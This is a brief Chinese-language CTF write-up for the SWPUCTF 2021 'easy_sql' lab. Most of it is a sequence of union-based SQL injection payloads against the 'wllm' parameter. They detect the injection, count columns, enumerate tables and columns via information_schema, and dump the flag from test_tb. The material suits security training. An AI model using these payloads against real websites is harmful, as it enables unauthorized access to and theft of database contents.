[SWPUCTF 2021 新生赛]easy_sql解题记录

1、打开靶机

2、进入靶机

发现名字为参数是wllm，并且要求输入一些东西

首先输入？wllm=1，出现以下界面，说明回显正常

输入？wllm=1' ,出现报错，说明为字符型漏洞

分别输入

  ?wllm=1’ order by 3--+

  ?wllm=1’ order by 4--+

发现不存在4列，存在3列

输入?wllm=-1' union select 1,2,3--+查看回显

输入?wllm=-1' union select 1,2,database()--+

查看数据库

输入?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

查看test_db的表

输入?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+查字段

输入 -1' union select 1,2,group_concat(id,flag) from test_tb--+ 

查看flag的字段，得到密码，解题完成